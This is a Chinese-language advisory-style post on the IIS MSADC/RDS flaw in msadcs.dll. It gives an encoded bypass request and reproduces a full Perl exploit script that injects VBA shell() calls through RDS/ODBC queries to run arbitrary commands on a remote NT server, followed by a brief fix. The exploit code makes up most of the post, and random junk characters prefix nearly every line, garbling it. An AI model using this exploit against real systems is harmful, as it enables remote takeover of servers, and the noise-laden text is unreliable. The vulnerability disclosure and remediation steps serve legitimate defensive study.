IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
aju!A q54G so[i"ZM) 涉及程序:
pfd||Z Microsoft NT server
{}F?eI .hI3Uv8[ 描述:
Yphru"\$ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
1rs`|iX5 7R9S% 详细:
?^TjG)e7 如果你没有时间读详细内容的话,就删除:
r\6 "mU c:\Program Files\Common Files\System\Msadc\msadcs.dll
IIC1T{D}v 有关的安全问题就没有了。
lwS6"2q &Xr@nt0H 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
:e9}k5kdk fq^D<c{3 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
nXjf,J-T 关于利用ODBC远程漏洞的描述,请参看:
&?~OV:r9 *>otz5] http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm xw?Mc{w
?xTMmm 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
q,b6). http://www.microsoft.com/security/bulletins/MS99-025faq.asp dWR0tS6vR` ,E&PIbDL1 这里不再论述。
SplEY!.k gFk~SJd 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
=4RXNWkud x13t@b /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Rw4"co6 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
(r8Rb*OP =`VA_xVu 8Ar5^.k #将下面这段保存为txt文件,然后: "perl -x 文件名"
6{2LV&T=u hh\\api #!perl
hoy+J/ #
1pe eecE # MSADC/RDS 'usage' (aka exploit) script
DP E NYr #
+T}:GBwD7 # by rain.forest.puppy
;CbQ}k
#
@^g/`{j>J # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Jw%0t'0Zi # beta test and find errors!
|7@[+ <b 0;Nf
use Socket; use Getopt::Std;
Az+}[t getopts("e:vd:h:XR", \%args);
INca p-]vf$u print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
&\(p<TF W/*2I3a if (!defined $args{h} && !defined $args{R}) {
~jK'n4 print qq~
u,<#z0R|;$ Usage: msadc.pl -h <host> { -d <delay> -X -v }
weMC9T)B -h <host> = host you want to scan (ip or domain)
u nE h -d <seconds> = delay between calls, default 1 second
i:ar{ q -X = dump Index Server path table, if available
,sEu[m -v = verbose
XA8{N -e = external dictionary file for step 5
MB$K ?"Y $JKR, Or a -R will resume a command session
9qIdwDRY 9f
,$JjX[ ~; exit;}
2=H3yEJq 4k9O6 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
f.?p"~! if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
o(~QuHOp8> if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
j^DoILw if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
%'2DEt?? $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
j{)_&|^{ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
\x JGR! .h)o\6Wq if (!defined $args{R}){ $ret = &has_msadc;
,xA`Fu9^ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
0cV=>|b>; 9NCo0!Fb print "Please type the NT commandline you want to run (cmd /c assumed):\n"
2z/qbzG7 . "cmd /c ";
plL##?<D< $in=<STDIN>; chomp $in;
RS&l68[6 $command="cmd /c " . $in ;
8v&4eU'S jYAD9v% if (defined $args{R}) {&load; exit;}
KiXXlaOs _YVp$aKDR print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
#KA,=J &try_btcustmr;
QdaYP 5mNd5IM print "\nStep 2: Trying to make our own DSN...";
YJZViic &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
(rfU=E G(7!3a+ print "\nStep 3: Trying known DSNs...";
K07b#`NF6 &known_dsn;
yp%7zrU lp`raNNo print "\nStep 4: Trying known .mdbs...";
#7S[Ch}O &known_mdb;
ZJev_mj l4c9.'6 if (defined $args{e}){
ur\v[k= print "\nStep 5: Trying dictionary of DSN names...";
Sp+ zP-3 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
D[)
Z$+D4f c`]_Q1'30w print "Sorry Charley...maybe next time?\n";
TxZ ^zj exit;
NUVFG; P$E #C:= ##############################################################################
`Q d_Gu,M a4gJ-FE sub sendraw { # ripped and modded from whisker
T/NeoU3 p sleep($delay); # it's a DoS on the server! At least on mine...
0)/L+P5 my ($pstr)=@_;
CR$\$- socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
sdq8wn die("Socket problems\n");
*QAcp` ;* if(connect(S,pack "SnA4x8",2,80,$target)){
,v;P@RL|g select(S); $|=1;
_97A9wHj print $pstr; my @in=<S>;
_~f&wkc select(STDOUT); close(S);
uY]nqb return @in;
3D3/\E#'o } else { die("Can't connect...\n"); }}
I
f9t^T# yyZV/
x~ ##############################################################################
$ZSjq -e H5s3:A sub make_header { # make the HTTP request
\W5fcxf my $msadc=<<EOT
.Y}~2n POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
n_[;2XQQ User-Agent: ACTIVEDATA
d+ P<nI/| Host: $ip
s)HLFdis@ Content-Length: $clen
}^).Y7{g[ Connection: Keep-Alive
-LAYj:4 W0GDn ADCClientVersion:01.06
z:B4 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
VfS&V*un if6/ +7 --!ADM!ROX!YOUR!WORLD!
;c1ar )G7 Content-Type: application/x-varg
=aM(r6 C Content-Length: $reqlen
~>:uMXyV2t QKW;r EOT
\{W} ; $msadc=~s/\n/\r\n/g;
\A@Mlpe&t return $msadc;}
,Y|WSKY* B5'-v%YO+ ##############################################################################
LF\4>(C2g F91'5D,u0 sub make_req { # make the RDS request
}Gmwm|`* my ($switch, $p1, $p2)=@_;
|E/r64T my $req=""; my $t1, $t2, $query, $dsn;
9VyY[& L;d(|7BVv if ($switch==1){ # this is the btcustmr.mdb query
J[6`$$l0 $query="Select * from Customers where City=" . make_shell();
Ke0j8| $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
:77dl/d% $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
]"Y?
ZS;H G:'hT=8 elsif ($switch==2){ # this is general make table query
dtHB@\1 $query="create table AZZ (B int, C varchar(10))";
IKT3T_\-I $dsn="$p1";}
e nsou!l ,,_$r7H` elsif ($switch==3){ # this is general exploit table query
(~6oA f $query="select * from AZZ where C=" . make_shell();
!g=2U`j^ $dsn="$p1";}
"uR,WY EqW/Wxv7b elsif ($switch==4){ # attempt to hork file info from index server
Fk01j;k.H $query="select path from scope()";
49vKb(bz{ $dsn="Provider=MSIDXS;";}
AN-qcp6=o DbRq,T elsif ($switch==5){ # bad query
'6Lw<#It $query="select";
1D3{\v $dsn="$p1";}
g"pjWj)? pY75S5h: $t1= make_unicode($query);
Gt>*y.] $t2= make_unicode($dsn);
y8jwfO3 $req = "\x02\x00\x03\x00";
>K<n~;ON| $req.= "\x08\x00" . pack ("S1", length($t1));
a o"\L0;{ $req.= "\x00\x00" . $t1 ;
UVND1XV^f $req.= "\x08\x00" . pack ("S1", length($t2));
Yyl(<,Yi $req.= "\x00\x00" . $t2 ;
_ISIq3A? $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
`;?`XC"m return $req;}
Tw^b!74gq IGKF&s*;{[ ##############################################################################
8_yhV{ 3iKBVN sub make_shell { # this makes the shell() statement
v(5zSo return "'|shell(\"$command\")|'";}
~.-o* #9Src\V ##############################################################################
9|y?jb5im -_<rmR[:] sub make_unicode { # quick little function to convert to unicode
wGRMv1|lIu my ($in)=@_; my $out;
v/NkG;NWM for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
ozF173iI return $out;}
(MfPu8j Qq,w6ekr ##############################################################################
kkvG= W|NT*g{;M sub rdo_success { # checks for RDO return success (this is kludge)
a!iG;:K
my (@in) = @_; my $base=content_start(@in);
mU
d['Z if($in[$base]=~/multipart\/mixed/){
?]1_ 2\M return 1 if( $in[$base+10]=~/^\x09\x00/ );}
(e,5
b return 0;}
a#Yo^"*1 rd#O ] ##############################################################################
o5k7$0:t/ pAZD>15l" sub make_dsn { # this makes a DSN for us
M$@Donx my @drives=("c","d","e","f");
o*\Fj}l- print "\nMaking DSN: ";
x=Ef0v foreach $drive (@drives) {
|}hV_ print "$drive: ";
E@uxEF my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
iLd_{ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
~hx__^]d . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
mpcO-%a $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
6
07"Z\ return 0 if $2 eq "404"; # not found/doesn't exist
;:2:f1_ if($2 eq "200") {
'WF Ey>1# foreach $line (@results) {
_VvXE572 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
0m`{m'B4n } return 0;}
Ml bQLtw @fjVCc; ##############################################################################
*Fb|iR @nPXu2c?u7 sub verify_exists {
eaNMcC1 my ($page)=@_;
PG@Uygahu my @results=sendraw("GET $page HTTP/1.0\n\n");
\xtY\q,[ return $results[0];}
G]DSwtB?D vh29mzum ##############################################################################
7Pb:z4j {Z~5#<t sub try_btcustmr {
gGdt&9z
% my @drives=("c","d","e","f");
5!tiu4LU my @dirs=("winnt","winnt35","winnt351","win","windows");
2.6F5&:($ ;s$bVGHr foreach $dir (@dirs) {
9/LnO'&- print "$dir -> "; # fun status so you can see progress
-FxE!K foreach $drive (@drives) {
wO>P<KBU print "$drive: "; # ditto
d z- $reqlen=length( make_req(1,$drive,$dir) ) - 28;
RxeyMNd $reqlenlen=length( "$reqlen" );
#KFpT__F $clen= 206 + $reqlenlen + $reqlen;
5:"zs @'D ,T^I my @results=sendraw(make_header() . make_req(1,$drive,$dir));
-D?-ctFYj^ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
u)NmjW else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
:h(r2?=7 =zetZJg ##############################################################################
Y1=.46Ezf j B.ZF7q sub odbc_error {
Oo-%;l`& my (@in)=@_; my $base;
KV1/!r+* my $base = content_start(@in);
b@p3iq: if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
`fL81)!jI# $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
R=/^5DZ} $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
@_:Jm
tH< $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
|_ChK6Q?v return $in[$base+4].$in[$base+5].$in[$base+6];}
=~|:93]k print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
pz
uR H1[ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
@+iO0?f $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
v +$3Z5 8D)I~0\ ##############################################################################
6 2YT)/i3 =W*Js %4 sub verbose {
}\-"L/D?+ my ($in)=@_;
/a'cP return if !$verbose;
I7[F,xci print STDOUT "\n$in\n";}
JsDugn ,B MhaoD5*9 ##############################################################################
c;M&;'#x 94Hs.S) sub save {
"{1SDbwmMo my ($p1, $p2, $p3, $p4)=@_;
$t1XoL open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Z` ;.62S print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
6Z:swgi6& close OUT;}
s\Zp/-Q :)P Aj ##############################################################################
KeIk9T13O cW|M4` sub load {
]TTQ;F my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
8`$lsD open(IN,"<rds.save") || die("Couldn't open rds.save\n");
p3f>;|uh_ @p=<IN>; close(IN);
d^.@~ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
S1`;2mAf* $target= inet_aton($ip) || die("inet_aton problems");
2)W~7GED print "Resuming to $ip ...";
*!W<yNrR $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
bAd$
>DI[ if($p[1]==1) {
Ie<`WU K $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
p%?VW $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
qh]ILE87( my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
uFXu9f+ if (rdo_success(@results)){print "Success!\n";}
Gl@-RLo else { print "failed\n"; verbose(odbc_error(@results));}}
/-mo8]J#2~ elsif ($p[1]==3){
E+tV7xa~ if(run_query("$p[3]")){
`g~T #U\>d print "Success!\n";} else { print "failed\n"; }}
S,'y
L7s elsif ($p[1]==4){
~"t33U6 if(run_query($drvst . "$p[3]")){
faqh }4 print "Success!\n"; } else { print "failed\n"; }}
L<`p;? exit;}
;OTd< piy_9nk ##############################################################################
{,Py%.vvR 0>aAI3E sub create_table {
lY,dyNFHV my ($in)=@_;
"=/YPw^0 $reqlen=length( make_req(2,$in,"") ) - 28;
x9lG$0k:V $reqlenlen=length( "$reqlen" );
B(z?IW& $clen= 206 + $reqlenlen + $reqlen;
o`EL)K{ my @results=sendraw(make_header() . make_req(2,$in,""));
:VB{@ED return 1 if rdo_success(@results);
tt%lDr1A) my $temp= odbc_error(@results); verbose($temp);
r\x"nS return 1 if $temp=~/Table 'AZZ' already exists/;
`'gadCTb= return 0;}
2rG;j52))a InCJ4D ##############################################################################
B0&W wa: /Ayo78Pi sub known_dsn {
<q dM # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
{dk%j~w8 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
I8%2tLVY "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
$QbaPmHW "banner", "banners", "ads", "ADCDemo", "ADCTest");
zdh&,!] F6
AD=qB5: foreach $dSn (@dsns) {
HuCzXl print ".";
VD).UdUn next if (!is_access("DSN=$dSn"));
\A ?B{* if(create_table("DSN=$dSn")){
`1Cg)\&[e0 print "$dSn successful\n";
RqenPMk if(run_query("DSN=$dSn")){
/3>5ex>PN print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
<)J83D0$E print "Something's borked. Use verbose next time\n";}}} print "\n";}
b-Q%cxJ /xu#ZZ?8F_ ##############################################################################
c8"9Lv 7:cmBkXm sub is_access {
F6vN{FI my ($in)=@_;
C@$!'^ 61 $reqlen=length( make_req(5,$in,"") ) - 28;
z;F6:aBa $reqlenlen=length( "$reqlen" );
8=!BtMd" $clen= 206 + $reqlenlen + $reqlen;
GCEcg&s=\S my @results=sendraw(make_header() . make_req(5,$in,""));
o2J-& my $temp= odbc_error(@results);
C'a%piX verbose($temp); return 1 if ($temp=~/Microsoft Access/);
p3N/"t&> return 0;}
At?]FjL6S <Y9 L3O`[ ##############################################################################
x9NcIa9 T]#S=]G sub run_query {
n!Dy-)!`O my ($in)=@_;
7[)IP:I> $reqlen=length( make_req(3,$in,"") ) - 28;
wE4:$+R}; $reqlenlen=length( "$reqlen" );
Q9!T@ $clen= 206 + $reqlenlen + $reqlen;
, (Bo .(] my @results=sendraw(make_header() . make_req(3,$in,""));
S{sJX5R; return 1 if rdo_success(@results);
-#e3aXe my $temp= odbc_error(@results); verbose($temp);
$^ wqoW%t return 0;}
"G+g(?N]j qVpV ZH! ##############################################################################
F"?OLV1B& Xc!0'P0T sub known_mdb {
R}S@u@mOE my @drives=("c","d","e","f","g");
MzWVsV my @dirs=("winnt","winnt35","winnt351","win","windows");
7v8V0Gp my $dir, $drive, $mdb;
6H)T=Z| my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
v_7?Zik8E [J`%iU # this is sparse, because I don't know of many
O8 \dMb
my @sysmdbs=( "\\catroot\\icatalog.mdb",
&YU;
K& "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
63EwV p/| "\\system32\\certmdb.mdb",
-%5O:n "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
9 K.B 42{\u 08Z my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
@Z fQ)q\ "\\cfusion\\cfapps\\forums\\forums_.mdb",
7
B< "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
:7&-<ae2 "\\cfusion\\cfapps\\security\\realm_.mdb",
f7mN,_Lt "\\cfusion\\cfapps\\security\\data\\realm.mdb",
-F+
)N$CW "\\cfusion\\database\\cfexamples.mdb",
fC \Cx;q- "\\cfusion\\database\\cfsnippets.mdb",
\N[Z58R !z "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
N"+o=nS "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
ev$\Ns^g$3 "\\cfusion\\brighttiger\\database\\cleam.mdb",
XlPi)3m4/S "\\cfusion\\database\\smpolicy.mdb",
^^O @ [_ "\\cfusion\\database\cypress.mdb",
p#yq 'kY "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
L93PDp4v "\\website\\cgi-win\\dbsample.mdb",
"Q>gQKgL "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
]rpU3 3 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
}#0i1]n$D ); #these are just
\m\E*c
): foreach $drive (@drives) {
PqhR^re0. foreach $dir (@dirs){
%O=U|tuc$ foreach $mdb (@sysmdbs) {
WaaF;|,( print ".";
2EU((Q`>=( if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
6w )mo)<X print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
e)#O-y if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
A$H;2T5N print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
#%=6DHsK } else { print "Something's borked. Use verbose next time\n"; }}}}}
&"h 9Awn2 ,k,RXgQ foreach $drive (@drives) {
e?V7<7$ foreach $mdb (@mdbs) {
TVVr<r print ".";
0pC}+
+ if(create_table($drv . $drive . $dir . $mdb)){
9}=]oX!+V print "\n" . $drive . $dir . $mdb . " successful\n";
;F/yS2p if(run_query($drv . $drive . $dir . $mdb)){
5 }pn5iI print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
cg]\R1Gm } else { print "Something's borked. Use verbose next time\n"; }}}}
d&@>P&AT }
lVw77bZ n B5 :X ##############################################################################
MPtn$@ doERBg`Jh sub hork_idx {
MHm=X8eg print "\nAttempting to dump Index Server tables...\n";
x$6`k print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
d,c8ks( $reqlen=length( make_req(4,"","") ) - 28;
U)PNY $reqlenlen=length( "$reqlen" );
aLWNqe&1 $clen= 206 + $reqlenlen + $reqlen;
>`3wEJ"< my @results=sendraw2(make_header() . make_req(4,"",""));
|\Zs oA if (rdo_success(@results)){
?bq S{KF my $max=@results; my $c; my %d;
us_o{ for($c=19; $c<$max; $c++){
U@6bH@v5 $results[$c]=~s/\x00//g;
Ji#"PE/Pt $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
\h#,qTE $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
XVlZ:kz $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
}:b6WN;c $d{"$1$2"}="";}
"\n,vNk foreach $c (keys %d){ print "$c\n"; }
0c$0<2D% } else {print "Index server doesn't seem to be installed.\n"; }}
0B o7EV ?tf/#5t} ##############################################################################
;j#(%U]Vp _0v+g1x sub dsn_dict {
w[WyT`6h! open(IN, "<$args{e}") || die("Can't open external dictionary\n");
:cvZk|b% while(<IN>){
w6-A-M6hD $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
z)Yk&;XC next if (!is_access("DSN=$dSn"));
N y\c>$z if(create_table("DSN=$dSn")){
{x-iBg9#l2 print "$dSn successful\n";
wa#$9p~Q if(run_query("DSN=$dSn")){
fpDx)lQ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
#]~l]Eq print "Something's borked. Use verbose next time\n";}}}
&8##)tS(y print "\n"; close(IN);}
Y/3CB 5Oa`1?C1 ##############################################################################
NB["U"1[^E RW?F{Jy{ sub sendraw2 { # ripped and modded from whisker
tU5Z?QS sleep($delay); # it's a DoS on the server! At least on mine...
tR!!Q my ($pstr)=@_;
uA'S8b%C socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
:Z}d#Rbl die("Socket problems\n");
]d}h`!: if(connect(S,pack "SnA4x8",2,80,$target)){
$s*nh>@7 print "Connected. Getting data";
TpHvZ]c open(OUT,">raw.out"); my @in;
DaA9fJ7a
select(S); $|=1; print $pstr;
yR`X3.:*] while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
9L`5r$/ close(OUT); select(STDOUT); close(S); return @in;
!zu YO3: } else { die("Can't connect...\n"); }}
{c7ZA%T~R X\z`S##kj ##############################################################################
zKY 9'y 3N5un`K7 sub content_start { # this will take in the server headers
y4V~fg; my (@in)=@_; my $c;
ke+3J\;> for ($c=1;$c<500;$c++) {
(9"w{pnlLc if($in[$c] =~/^\x0d\x0a/){
J'Z!`R| if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
0TD cQ else { return $c+1; }}}
'aWrjfDy: return -1;} # it should never get here actually
9*thqs3J#d g!#M0 ##############################################################################
4*)a3jI? MRI`h. sub funky {
s_/a1o my (@in)=@_; my $error=odbc_error(@in);
e[Tu.$f-
if($error=~/ADO could not find the specified provider/){
lj U|9|v print "\nServer returned an ADO miscofiguration message\nAborting.\n";
ja<!_^h=At exit;}
WN5`zD$ if($error=~/A Handler is required/){
p#]D-?CM) print "\nServer has custom handler filters (they most likely are patched)\n";
E`"<t:RzF exit;}
c}QWa"\2n if($error=~/specified Handler has denied Access/){
3:S>MFRn.3 print "\nServer has custom handler filters (they most likely are patched)\n";
hS( )OY exit;}}
H}nPaw]G F+c4v A}) ##############################################################################
H*gX90{!2 Z4"SKsJT/> sub has_msadc {
8zOoVO my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
&B3[:nS2 my $base=content_start(@results);
( <Abw{BTm return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
<hJ%]] return 0;}
aX)k(*| aJ4y%Gy? ########################
fcim4dfP >dr34=( r Ljb'\<* 解决方案:
0LjF$3GpZ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
g }%$VUSA 2、移除web 目录: /msadc